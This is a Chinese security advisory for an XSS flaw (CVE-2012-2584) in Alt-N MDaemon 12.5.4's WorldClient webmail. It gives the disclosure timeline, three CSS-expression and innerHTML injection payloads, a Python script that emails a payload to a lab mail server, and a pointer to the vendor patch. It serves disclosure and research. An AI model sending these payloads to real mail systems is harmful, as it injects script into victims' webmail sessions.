发布日期:2012-08-08
更新日期:2012-08-22受影响系统:
Alt-N MDaemon Free 12.5.4
描述:
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BUGTRAQ ID: 54885
CVE ID: CVE-2012-2584Alt-N MDaemon是一款基于Windows的邮件服务程序,WorldClient是其客户端。Alt-N MDaemon 12.5.4及其他版本在实现上存在XSS漏洞,通过邮件体内的CSS表达式属性和IMG元素STYLE属性内CSS注释、CSS表达式属性和多个CSS注释、XML文档中的innerHTML属性,远程攻击者可注入任意Web脚本或HTML到受影响站点。<*来源:loneferret
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Daniel Kazimirow ()提供了如下测试方法:#!/usr/bin/python"""Author: loneferret of Offensive Security
Product: Alt-N MDaemon Free
Version: 12.5.4
Vendor Site: http://www.altn.com/
Software Download: http://www.altn.com/Downloads/Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
18 Jul 2012: Vendor requests additional information from CERT. CERT advises vendor to contact the researcher.
08 Aug 2012: Public DisclosureInstalled On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8Injection Point: Body
Injection Payload(s):
1: exp/*<XSS STYLE="noxss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))">
2: <IMG STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
3: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML>"""import smtplib, urllib2payload = """<IMG STYLE="xss:expr/*XSS*/ession(alert("XSS"))">"""def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local
"
msg += "To: victim@victim.local
"
msg += "Date: Today
"
msg += "Subject: XSS
"
msg += "Content-type: text/html
"
msg += "XSS" + payload + "
"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)建议:
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厂商补丁:Alt-N
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.altn.comLattice Diamond Programmer缓冲区溢出漏洞HP SAN/iQ远程命令注入漏洞相关资讯 HTML代码注入漏洞
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